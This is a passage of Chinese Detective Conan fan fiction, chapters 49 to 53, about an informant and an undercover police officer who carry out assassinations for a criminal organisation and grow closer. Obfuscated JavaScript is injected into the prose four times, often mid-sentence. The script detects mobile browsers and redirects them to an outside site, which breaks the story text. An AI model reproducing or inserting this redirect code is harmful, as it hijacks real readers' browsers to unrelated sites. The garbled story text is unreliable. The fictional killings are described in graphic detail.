他遇见的都是一群工作狂魔,尤其是这群公安,要工作不要命。 听到“赦令”,青木修顿时眉开眼笑,“谢谢医生!” 好不容易熬到打完点滴,青木修几乎是蹦下床,吓了医生护士一大跳。 原本医生说要给他陪一根肘拐也被青木修婉拒。 “肘拐有些太显眼了,我正常走回去就好。” 医生拗不过他,只能又叮嘱了些注意事项。 告别医生和黑田兵卫,青木修慢慢走上了回家的路。 伤口依旧很痛,他只好走得很慢,尽量保持住脸上的表情,不让路人看出什么端倪。 他深知他们不能轻易给人留下印象的准则。 花了平时一倍多的时间才到家,青木修打开门换了鞋,连卧室都没进去,直接瘫在了沙发上。 感受着身下沙发柔软的触感,青木修心中仿佛有什么东西落了地似的安宁。 腿上的伤口好像没那么疼了,他斜躺在沙发上,迷迷糊糊就要睡过去。 门口突然传来钥匙开门的声音,青木修瞬间清醒,一双眼睛一眨不眨地盯着门口。 诸伏景光看到沙发上的青木修反应很大,“你怎么会在这里?!” 他心里惦记着青木修,草草应付完琴酒,紧赶慢赶回家,准备拿些东西就去警察医院找人。 “我还准备去警察医院找你……怎么不好好在医院带着?” 青木修挤挤眼睛,“就知道你要去医院找我——你现在的身份不好见太多人,去警察医院难免要待一会儿,万一撞上什么人了可不就是麻烦。” 他脸上笑意盈盈,诸伏景光闻言心中却是一片酸涩,青木修即使受了伤还是在为他考虑。 想到这里,他缓缓抱住了青木修。 原本还笑着的青木修一下子愣住,他先是有些手足无措,大脑反应过来后立刻回抱住了诸伏景光。 “怎么了?我挺好的……没事的,你放心,真的没事的,医生说没有伤到骨头,好好养几天就差不多了。” 诸伏景光把头埋进青木修的肩窝,感受他肩膀上有些硌人的骨头。 “不是这个……” 他的声音闷闷的,听起来情绪不高的样子。 青木修一时间也不知道该怎么做,想了想,还是跟着直觉走,抬起一只手一下一下的顺着诸伏景光的后背。 感受到青木修的动作,诸伏景光有些哭笑不得,但还是很享受他的温情。 在青木修怀里赖够了,诸伏景光才抬起头,“这几天你尽量不要下地。” “有我照顾你。” 青木修脸颊上飞过一片红霞。 他皮肤本就生的瓷白,哪怕是一点不明显的红晕,在他的脸上着色也很深。 青木修觉得自己的心跳越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14250039|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,他想着赶紧找个话题把这儿岔过去。 “黑田长官他们拍到了跟你一起行动的代号成员的正脸。” 诸伏景光像是早就知道一样。“不枉我找了那么久的地方。” “他跟着你一起出这次任务,已经让公安盯上他了。” 诸伏景光打开电视机,头条新闻正在播报黑田兵卫假身份的死讯。 想到在黑田兵卫手机上看到的人脸,青木修脸上的笑意逐渐褪去。 “这次任务涉及到你以后在组织里的安危,黑田长官的意思是等着件事的风波过去,过一段时间之后让我找个机会,给他制造一个意外死亡。” 诸伏景光知道公安不会放过这个代号成员,却没想到这件事最后竟然会落到青木修手上。 “怎么会让你出手?” 青木修倒觉得没什么,“你们都是正式的公安警察,我只是线人,灵活性自然比你们要高一些。” 说是灵活性高一些,但实际上终归青木修不是正式的公安警察,万一突发意外,他的优先级自然排在他们之后。 青木修不知道诸伏景光心里在想什么,随口安慰道:“我做事你放心,绝对不会给你惹麻烦。” 诸伏景光苦笑,心说自己根本不怕他惹麻烦。 但他不想让自己的情绪影响到青木修,很快在心里把这件事翻过篇。 . 诸伏景光说到做到,自从上次的任务过后,组织似乎在对他进行重新核查,便没有派什么任务给他,这也正好方便他在家里照顾青木修。 看着每天端到嘴边的饭菜,青木修最开始还有些不好意思,但后来在诸伏景光的照顾下也逐渐习惯,呈咸鱼状躺在床上享受着诸伏景光的照顾。 “我怀疑我被你养胖了。” 青木修嘴里嚼着诸伏景光剥好的橙子,嘟嘟囔囔地说道。 诸伏景光看着他鼓起来的半边脸颊,心道总算是把他养出来了一些肉。 “是吗?我觉得没什么变化啊?” 其实青木修就算是长了点肉也不明显,他之前有些太瘦了,在诸伏景光的精心投喂下也只是看着更健康了一点,压根看不出什么变胖的迹象。 “那一定是你感觉错了。” 青木修有些不相信诸伏景光的话。 “那我来仔细看看。” 诸伏景光说着就直接上手,轻轻捏捏青木修的脸颊。 “没胖,健康得很。” 青木修把橙子咽下去,半信半疑地提了提自己脸颊上的肉。 和之前的手感差不多。 他又趁着诸伏景光不注意,迅速撩了下衣服——腹肌还在。 诸伏景光假装没看到他掀衣服的动作。 “现在相信了吧?” “勉强相信你。” 有人精心照顾,青木修这一次伤势恢复的很快,正常下床走路已经没什么感觉了。 他沿着家里漫步绕了一圈,“今天走路已经不疼了。” “那也不能剧烈运动。” 诸伏景光还是有些担心青木修会不会好了伤疤忘了痛,把伤口又重新折腾开裂来。 “知道啦知道啦!” 青木修躲开诸伏景光的“魔爪”,打开手机翻看黑田兵卫一早发来的邮件。 50.第 50 章 是黑田兵卫的通知,距离诸伏景光上次执行暗杀任务已经过去了一个多月,该名代号成员也陆陆续续又出过几次任务,就算出了意外,和诸伏景光的关系也已经不大了。 是时候让他“被死亡”了。 “怎么了?” 注意到青木修的神色逐渐冷峻下来,诸伏景光凑到他身边,却极有分寸的不去看他的手机屏幕。 “没事。” 青木修在诸伏景光面前几乎没有秘密,闻言直接将手机翻转递到诸伏景光面前。 “这么快就一个月了?” 这几天和青木修待在一起的时光实在太幸福,让诸伏景光一时间都忘记了时间年月。 “是啊,我在家宅了快一个月了。” 青木修伸了个懒腰,活动着手腕,“再不来任务,我都要不习惯了。” 虽说诸伏景光已经对青木修的能力有很深的了解,但当对方要独自出任务时他还是会止不住的担心。 “你打算怎么做?需要我帮忙吗?” “要除掉他的本意就是把你摘出来,怎么可能还让你动手呢?” 青木修在心里盘算着代号成员的死亡计划,“相信我,不会有意外的。” “你的伤……” 诸伏景光觉得自己现在简直就像一个老妈子。 “已经差不多都好了。” 生怕他不相信,青木修还站起来原地蹦了几下,以此来证明自己真的已经可以出任务了。 “那你小心点,遇到危险了及时联系我。” 诸伏景光已经把青木修手机上的紧急联系人设置成了自己的号码。 “只要你有危险,我一定能赶到你身边。” 青木修嘴角的笑意根本压不住,他上前大力抱了抱诸伏景光。 “有你这句话我就很开心了。” 他回到房间简单收拾了点东西,背着个黑色小包就出了门。 想来这一个月的时间里,黑田兵卫不仅仅是监视代号成员这么简单,他还派了公安直接近距离跟踪过对方——黑田兵卫发来的邮件里,有代号成员的实时定位代码。 翻看着手机中是不是挪动一下的定位,青木修嘴角泛起一抹轻蔑的笑。 这么轻松就让公安接近自己,还能让对方留下追踪器,也不知道是干什么吃的。 想来诸伏景光口中的“老资历”,也不过是对方凭借着年龄熬出来的荣誉。 他突然觉得琴酒也很不容易,身边不是卧底就是废物。 一个人支撑着偌大的行动组,还真是辛苦。 就是不知道琴酒有一天要是知道了真相会是什么反应。 不过他应该也不会有太大波澜,青木修自认为还算是了解琴酒,这个家伙就是一匹通身纯黑的恶狼,应该也不会在乎身边做事的究竟都是什么人。 为了不引人注意,青木修还特意多转了几趟车,又走了一段不短的距离,这才接近代号成员附近。 站定在代号成员暂住地的楼下,青木修抬头看着眼前的豪华公寓,撇了撇嘴。 住的比诸伏景光还要好,不知道又是找财务批了多少经费。 他在楼下简单转了几圈探查好地形,转身到附近的大楼里换了一身维修工的衣服,提着有些破旧的背包,就这么大摇大摆的进了公寓楼。 现在正是上班时间,来来往往的人并不多。 青木修没费多少功夫就进了电梯间,三下五除二的功夫把两部电梯整出点小故障,不至于伤人但也正好能让它们暂停使用。 接下来就是在楼梯间守株待兔就好。 做戏要做全套,他还特意在代号成员的必经之路上打碎了一个油瓶。 做完这一切,青木修蹲在楼梯拐角处优哉游哉哼着歌。 看着手机上的定位已经到了楼下,他瞬间打起精神,往上退了几步。 先进入楼梯间的是一股呛人的烟味。 青木修默默翻了个白眼,心说在楼梯间抽烟,真是没素质。 接着是脚步声。 他侧身趴在墙壁上,听着脚步声越来越近,弯下身子做好准备。 在视野中出现了一只脚的时候,青木修毫不犹豫伸手抓住那只脚,先是往上一抬,接着往下一推! 只听“骨碌碌”几声连带着一声惨叫,楼梯间顿时安静了下来。 确定下方没了动静,青木修才从拐角处走出来。 代号成员大头朝下摔倒在楼梯上,后脑勺不偏不倚磕上一层台阶,脑袋下已经流了一滩暗红的血。 他还没有断气,见到青木修出来,不自觉瞪大了眼睛。 “杜、杜林标……” 青木修很是天真的歪歪头,“呀,还有一口气呢。” 他踮着脚,小心翼翼地跨过楼梯上的油渍,来到代号成员身边。 明明是很纯真的笑容,映在代号成员的眼里却让他不寒而栗。 “那就再送你一程吧。” 青木修伸出戴了手套的双手,轻轻托起代号成员的头,看准了角度后重重向下一摔! 颅骨开裂的声响在楼梯间回荡。 看着眼中逐渐没了声息的代号成员,青木修站起身拍拍手,收起手套,背好工具包,迅速从楼梯间离开。 解决掉代号成员的青木修就像是解决掉了一桩心头大患,连走路的步子都变得轻快了不少。 做完这一切也不过才堪堪过去半天,向黑田兵卫做完报告后回家正好能赶上晚饭时间。 不出青木修所料,他还没推开房门,就闻到了饭香味。 “景光!” 他直接丢下背包蹦蹦跳跳地进屋。 “正好做了你的饭,还怕你赶不回来。” 诸伏景光手中端着晚餐的最后一道菜,用空出来的一只手抱了抱青木修,“快去洗手吧。” 他没有问青木修任务完成的怎样。 青木修听话照做,洗完手坐上餐桌,一口一口吃得很香。 坐在他身边的诸伏景光看上去却像是有什么心事。 “在担心那个人吗?” 青木修用胳膊肘戳戳诸伏景光,“别担心,我检查过现场了绝对看不出来,黑田长官也说警视厅那边已经打好招呼了。” 诸伏景光愣了一会儿才会神,“……我担心的……不是这个。” “?” 青木修头顶缓缓飘过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14258127|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个问号。 “那你在想什么?” 他转转眼睛,“我的伤也没事,压根没和他起正面冲突。” 诸伏景光还是摇摇头。 他看着青木修灰色的眼睛,心里想着青木修这段时间的工作。 自从那天当着降谷零的面答应做他们的线人后,青木修这段时间似乎都没有闲下来过,不是在出任务,就是在整理和组织有关的资料。 “你……是不是想当警察?” “唉?” 这下子换青木修愣住了。 “怎么突然想到问这个?” “没事,就是看你……很认真地在完成公安的工作,就想问问你,是不是也想当警察?” 青木修几乎是没有犹豫地回答了他的问题。 “我倒是没想那么多……”他笑容里有些不好意思,“就是想帮帮你。” “帮我?” “对啊,你不是想消灭组织吗?我就想帮你实现愿望啊。” 诸伏景光做了很多种设想,偏偏没想到会是这个答案。 青木修很有自知之明,“再说了,当警察可是要经过很严格的审查,我的出身……” 他苦笑一下,“能做你们的线人应该都是你争取过的结果。” 青木修说的没错,能做线人确实有诸伏景光争取过的成分在里面,但其中也有降谷零的意见和黑田兵卫的个人决定,并不是完全由诸伏景光一个人说了算。 诸伏景光想告诉青木修,其实不只有他一个人的信任,但青木修明显不想在这个话题上多有停留。 “好啦,我就是想帮帮你,让你能够早点过上正常的生活。” “那你呢?” 诸伏景光心中忽然涌起一阵冲动,他问道:“那你呢?组织铲除之后,你有什么打算吗?” 这个问题把青木修难住了,他知道自己现在的身体状况,压根就没打算过“以后”,一时间语塞住了。 诸伏景光不知道青木修的想法,他直接抓住对方的手,“你能留下来吗?” 他问得很认真。 “消灭组织之后,你能留下来吗?” 青木修想说这恐怕很难,我们之间隔了太多东西…… 但是对上诸伏景光那双亮晶晶的眼睛,他鬼使神差地点了头。 “好。” “那你可不要忘了自己的话,记得一定要留下来。” 诸伏景光这样说也是在变相的提醒青木修不要忘了自己和他的约定。 他知道青木修会有很多顾虑,但是他也不愿意错过再错过这个已经走近他心里的人。 感受到手背上传来的温度,青木修渐渐红了脸。 诸伏景光没忍住笑起来,他看着青木修,有些克制不住的去想象两人的“未来”。 要带他去见见班长他们、要带他去见高明哥,还要带他……去见见爸妈。 青木修虽然没像诸伏景光这样想那么多,但看着对方能够开怀,他也很开心。 也不知道是想提醒谁,他反扣住诸伏景光的手,感受着对方指腹上的枪茧,又重复了一遍。 “等到一切结束之后,我就留在你身边。” 51.第 51 章 青木修说这话时,声音很轻,他依偎在诸伏景光的身侧,就像是情人的呢喃。 在青木修看不到的角度,诸伏景光悄悄红了耳尖。 他知道青木修是一个重诺的人,如今答应自己的事,定当全力以赴去办到。 这句承诺让诸伏景光放下心来,就像是抓住了缥缈的风筝线,心中有了根。 他顺利度过组织的重新评估,那位死亡的老资历成员的尸体当天就被同一楼的住户发现,当场送去了警视厅。 伊达航着手经办这件事,由于黑田兵卫先前已经在警视厅打好招呼,故而他也听到了一些消息。 看着眼前一切特征都写着意外死亡的尸体,这位年轻的“老警察”陷入沉思。 他冥冥之中觉得,这具尸体或许和自己多年未见过面的同期有关系。 他的直觉没错,只不过动手的人是青木修,所以纵使伊达航对于诸伏景光和降谷零再熟悉,也无法从尸体上找出能证明他和两位同期有直接关系的证据。 再者,经过现场调查,也发现不了其他的线索。 这件案子最终以意外死亡草草结案,死者的尸体也迅速被处理掉。 一切都进程仿佛都被摁下了加速键,伊达航更加确信了自己的猜测。 他并非不相信自己的两位同期,只是单纯觉得对方会和沾上人命的事情有牵连,必定是在做什么凶险异常的工作。 四年多来两人没有一点消息,说不担心那是假的。 但是他也没办法,心知公安工作的危险性,只能安慰自己这两个家伙没有消息就是好消息。 诸伏景光还不知道这桩案子最后会被送到自己的班长手上,他最近又忙碌了起来——通过组织的二次评估,近些天给他下达的任务重新变回单人任务,但是风险性也有目共睹的提高不少。 不过这些任务并没有给他带来太多的困扰,青木修在暗中成为了他的搭档,不留痕迹地给他帮了不少忙。 原本行动组给诸伏景光派发这些高危任务的目的是进一步测试他的能力,想要看看这位行动组的狙击手能否担当大任。 结果也并没有让他们失望,诸伏景光把每一个任务都完成的很漂亮。 回组织复命时,就连一向冷冰冰的琴酒都对他隐隐态度好了些。 “那肯定是因为行动组太多废物了,好不容易出来一个干活的,琴酒被你感动了。” 青木修知道后如是说。 诸伏景光一巴掌冲着他的后脑勺呼过去,被青木修灵巧躲开,并且反扑向诸伏景光,两人在沙发上滚作一团。 从某些角度来说,不得不承认组织把青木修培养的很好。 他是一把杀人于无形的刀。 有了他的辅助,诸伏景光甚至没怎么受伤。 “今天晚上要去截杀一个人。” 诸伏景光直接把任务简报展示在青木修面前。 “山田裕和?” 青木修看到任务目标,眯着眼想了想说道。 “他不是……” 诸伏景光知道他要说什么,“只是一个假身份,他真正是一个走私头子。” “他怎么得罪组织了?” “他依仗着自己手上掌握的航运线,在组织那里坐地起价。” “……” 青木修第一次见到还有人这么作死的。 “那我们直接杀了他,不会让他手上掌握的航线落入到其他人手里。” “不会,”以诸伏景光如今的权限,已经能探听到除了任务之外的一些内容,“据说是和组织有关的公司会及时出手制造混乱,确保航线最后会落入到组织的掌控中。” 诸伏景光摆弄着心爱的大狙,侧头看向青木修,“你知道可能会有哪些公司参与吗?” 青木修不是很确定,有些犹疑道:“我大概知道几家潜在的参与者,但是不确定全不全,或者说他们是否一定会参加。” 诸伏景光却已经很满足,“没关系,你把你知道的告诉我就行!我让黑田长官提前盯着,有问题直接以参与走私把他们扣下检查!” “没问题。” 青木修立刻凑到诸伏景光耳边,低声报出几家公司的名字。 诸伏景光没有耽搁,立刻把这家公司名字用加密渠道送到黑田兵卫手里。 他在卧室里忙活,青木修就在客厅帮他继续收拾东西。 他现在已经对诸伏景光的枪非常熟悉,对方常用的拆分和摆放习惯他都了如指掌。 等到诸伏景光处理好邮件出来时,青木修已经把东西都收拾好准备出发了。 “走吧。” 诸伏景光背起贝斯包,牵着青木修的手离开安全屋。 为了避免惹来不必要的麻烦,两人一路上尽可能避开所有的监控摄像头,绝大部分路程都靠步行解决。 “山田裕和今晚上在自己名下的酒店举办晚会。” 诸伏景光一边走一边在大脑里根据任务简报构思今晚的行动方案。 “酒店远一点的地方似乎没什么特别好的狙击点位。” 青木修同样在脑海中回忆着酒店周围的建筑模型。 “太近会很冒险。” 他说,“要不我进去找机会……” 青木修同时做了个抹脖子的动作。 “别,”诸伏景光摁住他的手,“你进去就不冒险吗?” 青木修也觉得自己的提议不太合适,当然,他的关注点和诸伏景光不太一样——青木修是担心后续组织查到山田裕和的死因要是跟诸伏景光常用的方式不太一样,会对他起怀疑之心。 诸伏景光好不容易才重新获得了组织的信任,可不能因为这种细节问题毁于一旦。 “还是以你为主,我跟你打配合吧。” 青木修想了想,还是选择让诸伏景光来做任务安排,终归有自己在暗中护着,诸伏景光也遇不到什么太危险的情况。 “硬要找,也不是没有好一些的狙击点位……” 诸伏景光不自觉摸上自己有胡茬的下巴,思索着怎样安排任务最合适。 “有了!” 他拿出手机把酒店周围的俯拍图展示给青木修。 “我可以在这个位置进行狙击。” 他指着一桩距离酒店很近的大楼楼顶说道:“我事先查过,这个位置正对着山田裕和包下来的那一层舞台,我们速战速决,在他上台发表讲话的时候就解决他。” 青木修没有提出任何意见,他很清楚自己需要做什么。 “山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267707|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田裕和敢和组织合作,必然会想到有人会来暗杀自己,我们能想到的地方,他也有可能想到。” 诸伏景光耸耸肩,“这也是没有办法的办法。” 和狙击比起来,他的近战确实要稍稍弱那么一点。 “没问题,到时候我先进去。” 青木修活动了下手腕。 他手上带着全包的战术手套,显然是打算有所行动。 “我先进去清理一趟,你看到我手势之后再上来。” 诸伏景光知道自己劝不动打定主意的青木修,便没有多加阻拦,只是叮嘱他一切小心。 “放心。” 青木修勾起笑容,大步向前走几步,和诸伏景光拉开距离,接着回身冲他挥挥手,一闪身消失在黑暗里。 他的夜视能力很好,适应黑暗环境的速度很快,没有灯的情况下也不妨碍他进行活动。 简单观察过周围的摄像头分布,青木修迅速总结出留痕最少的路线。 他像是一只融于暗夜的黑猫,灵巧的在各个角落行动,转眼的功夫就混进了诸伏景光目标的大楼。 经过他的观察,可能是山田裕和自己也不想太过引人注目,大楼楼下的位置没有布置什么人手。 他没坐电梯,而是顺着楼梯一路向上,径直去了顶层开始从上往下进行“清理工作”。 首先让他撞上的就是在顶楼蹲守的四个男人。 青木修冒着风险从下一层的客房阳台上翻进顶层天台,顺利进入四人的视野盲区。 他躬身躲在黑暗里,一双眼睛却是炯炯有神,观察着视野中的几个目标。 打定主意后他便没有拖延时间,迅速行动起来。 一个滑步冲到最角落一人的后方,一只手捂住对方的嘴巴,与此同时迅速攀身而上,灵巧的落在对方的肩膀上,大腿夹住对方的脑袋,用腰部力量带动全身用力一拧—— 是骨骼错位的闷响。 青木修反应很快,在保镖倒地之前就从对方身上落下来,轻轻的接住他把人放倒,没有发出一丁点动静。 接下来他如法炮制又解决了另外一个人。 直到这时候,剩下来的两人才意识到天台上有些过于安静了。 回头看到躺在地上,脖子以一种不正常的角度歪向一旁的同伴,他们第一反应就是掏枪。 但是已经来不及了。 青木修形如鬼魅,不知从哪里窜出来,一掌击向其中一人臂部麻筋。 率先掏枪的那人只觉得胳膊一麻,眨眼的功夫手中的枪就已经到了面前不速之客的手上。 出乎他的意料,夺枪成功的意外来客并没有立刻使用手上的枪。 黑色的枪身在对方手中打了个转,枪托朝下,冲着他的脖颈袭来。 被夺枪的保镖下意识就要躲,这一动作正好如了青木修的意,帮他挡了一枪。 青木修从后方一脚踹倒他,同时一跃而起自上而下精准无误地踢中还站着的保镖的脸。 成功放倒两人之后,青木修迅速趁着他们还没爬起来之前扭断了他们的脖子。 把夺下来的枪重新塞回倒霉蛋的手里,青木修这才给诸伏景光打了个电话。 响铃三秒后挂断,这是两人一开始商量好的暗号。 52.第 52 章 约莫几分钟过去,楼梯口出现诸伏景光的身影。 青木修低头看了看时间,“宴会应该马上就要开始了。我在楼下守着。” 诸伏景光放心把后背交给他,闻言立即放下贝斯包,开始组装狙击枪。 青木修把四具尸体搬到角落,防止他们影响诸伏景光行动。做完这一切后,他沿着天台边沿翻回楼下房间的阳台,如同来时一样,悄无声息地离开。 诸伏景光架好枪,在瞄准镜里找到山田裕和,放轻呼吸,开始计算子弹的途径和落点。 远方的酒店宴会厅,山田裕和浑然不知自己已经被索命的死神盯上,还和身旁的女伴一起站在香槟塔旁耳语。 手腕上定好时间的手表传来震动,提醒诸伏景光到了该行动的时间。 食指轻轻扣动扳机,子弹呼啸而出,划破夜空,直直钻入舞台正中央正准备发言的山田裕和的脑袋。 眼见一发毙命,诸伏景光不做任何耽搁,手脚麻利地拆卸掉狙击枪,放入敞开的贝斯包里,拉上拉链,从地面上一跃而起,飞身开始下楼。 早在楼下等着接应他的青木修眼看任务时间已过,也立刻有了动作。 他没有再上楼,而是向着事发酒店的方向跑了一小段,暗中拦截下第一批向着诸伏景光的方向而来的保镖们。 时间紧迫,他并没有完全奔着取人性命动手,只求使他们丧失掉行动力。 三分钟说长不长,说短也不短,正好足够让诸伏景光从楼顶退下来。 “景光,这边!” 青木修在黑暗中伸出手,把诸伏景光拖进来,正好让他避开一批闻讯而来的保镖。 这条巷子很窄,两人贴的很近,能感受到对方喷洒在自己面上的呼吸。 “……” 刚从楼上一路跑下来都没有现在的心跳快,诸伏景光垂在身侧的手指动了动。 “暂时没事了,快走。” 青木修没注意到诸伏景光短暂的跑神,拖着他连忙从提前看好的小道离开。 走出酒店的辐射范围,两人浑身的肌肉才逐渐放松下来。 诸伏景光低头拿出手机给琴酒做了简单的汇报——这次任务还算简单,牵扯到的任务目标也不多,没必要回基地做面对面报告。 “任务完成。” 发完信息,诸伏景光明显心情很不错,他靠近一步,牵起青木修的手。 “时间还早,想不想逛一逛?” 一来是为了故意制造行动轨迹,二来也是诸伏景光的一点私心,他还没见过青木修哪次像普通人一样漫无目的地逛街。 “逛街?” 两人这时候已经靠近涩谷周围,正是游客旅人往来众多的地方。 青木修悄悄斜着眼睛看了眼诸伏景光,没多做思考就答应下来。 “好啊。” 他真的没怎么逛过街,每次就算是去超市购买食材也是目的明确的拿完需要的东西就结账离开。 “这一带很繁华的,”诸伏景光微微收紧手指,“等以后有机会了,我带你好好逛一逛。” “要和你一起。” 青木修不想扫诸伏景光的兴,顺势答应下来。 年轻人的夜生活才刚刚开始,两人融身与熙熙攘攘的人群中,就像是两个普通的情侣。 途径一家餐厅,青木修不经意看到了坐在靠窗一侧,给孩子庆祝生日的一家人。 他在几步远的位置驻足,凝神看着餐厅内的一家人。 “怎么了?” 诸伏景光轻声开口,却没得到青木修的回应,他便顺着青木修的目光看过去—— 那是一家三口,母亲正在给坐在中间的小孩戴纸皇冠,父亲则是在给生日蛋糕点蜡烛。 “祝你生日快乐……祝你生日快乐……” 他们俩分明站在窗外,却是隐约听见了生日歌的声音。 坐在中间的小孩在父母的祝福下闭上眼睛许愿,又伴着歌声睁开眼,“呼”一下吹灭了生日蜡烛。 小孩的运气很不错,六根蜡烛一下子全部被吹灭。 “我听说,能够一下子吹灭所有蜡烛的人,许下的愿望就会实现。” 耳边传来诸伏景光的声音。 青木修模糊的应了一声,也不知道有没有把他的话听进去。 他现在脑子里想的是另外一件事: 是已经很久没有来过他梦里的兄弟姐妹们。 “祝杜林标生日快乐!” 他们在很小的时候就有了代号,具体是什么时间获得的代号,青木修已经不太记得了。 那时候他们几个作为同一批实验体,被安排在一个房间里住着,大家其实都不知道自己的具体生日是什么时候。 准确来说,他们一开始都没有“过生日”这个概念,还是其中一位被带出去过一段日子的姐姐回来后告诉他们,外面的小孩会庆祝自己出生的那一天,以此标志自己又长大了一岁。 他们当时甚至都不知道自己能不能活着走出那个地下实验室,听到这件事时都无动于衷。 带回这个消息的姐姐说:“虽然我们不知道未来的路怎样,但是我们可以给自己过生日啊,纪念我们已经走过的时间,证明我们来过这个世界。” 青木修是最先被说动的一个,他很快响应了姐姐的号召,接着去劝说其他人。 “我们不是白来人间一趟。” 过生日不仅仅可以代表着新的一岁,也可以是过去一岁的总结。 这样就算是他们其中的谁死了,其他人也还记得他的生日,记得他曾经来过这世界的岁月。 得到回应,姐姐很高兴,让他们一人给自己想一个生日。 青木修把自己的生日定在了一月一日,因为他知道,每到这个时候都象征着新的一年的到来,那些研究人员们都会想办法回去和家人团聚,往往这个时期落在他们身上的实验都会少很多。 一月一日,新年,是个好时候。 其他人也都把自己的生日选在了某个对他们来说很有意义的时刻。 从那之后,他们都会趁着研究人员不注意的时候,悄悄给彼此庆祝生日。 还在实验室的他们没有什么拿得出手的生日礼物,但只是一句口头的祝福,也足够他们高兴许久。 只是现在…… 青木修的眼神逐渐凝实,重新落回玻璃内正在兴高采烈切蛋糕的小孩。 只剩下他一个了。 青木修有很多事都已经记不太清了,大脑是会自动屏蔽一些太痛苦的回忆,可他偏偏还记得他们的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14278029|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日。 他带着这些生日活着,证明他们曾经来过这世间。 “青木,想过生日吗?” 诸伏景光似乎看穿了他的心中所想。 “你的生日是什么时候?” 青木修回神,正对上后者温润平和的猫眼。 灰色的眸子颤了颤,“一月一日,新年。” 诸伏景光听到他强调“新年”,第一直觉立刻告诉他,这不是青木修真正的生日,想来应该是对方自己定下的某一天。 不过这都不要紧。 “虽然距离新年还有一段时间——但我们也可以买个蛋糕庆祝一下。” “庆祝什么?” 诸伏景光已经拉着青木修去寻找蛋糕店,“庆祝我找到你了。” 他在心里说,还可以提前庆祝你的未来。 诸伏景光对未来充满憧憬,他希望在青木修的未来里,能够有属于自己的一隅。 “不一定非要过生日才能吃蛋糕,”他没把心里话说出来,“遇上值得庆祝的事情了都可以吃蛋糕,甚至只要是你自己想吃,都随时能来买蛋糕。” 青木修的表情有点懵,有些机械地被诸伏景光拖着走,脑海中还在消化诸伏景光的话。 涩谷这一带的蛋糕店也不少,没走几步,诸伏景光就在余光中锁定了一家蛋糕店。 “进去吧。” 他推了青木修一把。 一进门,甜甜的蛋糕香气扑面而来,五花八门的蛋糕样式看得青木修眼花缭乱。 “想吃什么样式的蛋糕?选一个吧。” 诸伏景光推着他走到冷柜前。 青木修的视线在每一款蛋糕上停留,露出一种每一块都想尝一口的表情。 但他知道这也不现实,挑来挑去,最后把视线停在了一款粉色的草莓蛋糕上。 蛋糕不大,两个人吃完应该正好。 “帮我把这个包一下。” 向青木修确定了款式,诸伏景光叫来服务员帮忙打包。 这家蛋糕店似乎是网红店,来的客人很多,两个人等了一会儿才等来服务员。 “欢迎下次光临~” 诸伏景光接过打包好的蛋糕,正要带着青木修离开。 就在这时,身后突然传来一声凄厉的惨叫。 “麻子——” 诸伏景光眉心一跳。 下一秒,另一道声音从更深处的冷柜前传来: “所有人不要动!警察!” 青木修注意到诸伏景光牵着自己的手猛地紧缩了一下。 他先是飞快地回头看了眼,正要问对方发生了什么事,只见诸伏景光有些紧张地吞了吞口水。 视线停留在诸伏景光的喉结上,青木修不知想到什么,短暂的走了个神。 好不容易遇到一个三个人都不用加班的日子,伊达航连拖带拽把松田阵平和萩原研二两人拉来陪自己给娜塔莉挑生日蛋糕。 三个大男人在冷柜前面挑的头晕眼花,一声惨叫仿佛给他们强行打了一针提神剂,吓得三人齐齐清醒过来。 伊达航肌肉记忆快于大脑反应,回过神已经掏出警官证准备拦下正要离开的两位客人。 只是…… 其中一位客人的背影怎么那么眼熟呢? 53.第 53 章 早在伊达航喊出声的那一刹那,诸伏景光就认出了自家班长的声音。 他怎么也想不到自己会和同期们在这样的场景下重逢。 按照诸伏景光原本的设想,他应该是和同期们重新相聚在五瓣樱花下,亦或是在陵园中,他在里面,同期们在外面。 总之,不会是现在这个样子。 原本大步朝他们走来的伊达航也从这位形迹可疑的客人突然僵住的背影中看出了异常。 这个身形…… 他心中一动,心说杳无音讯四年多的人不应该在这里和他们遇到。 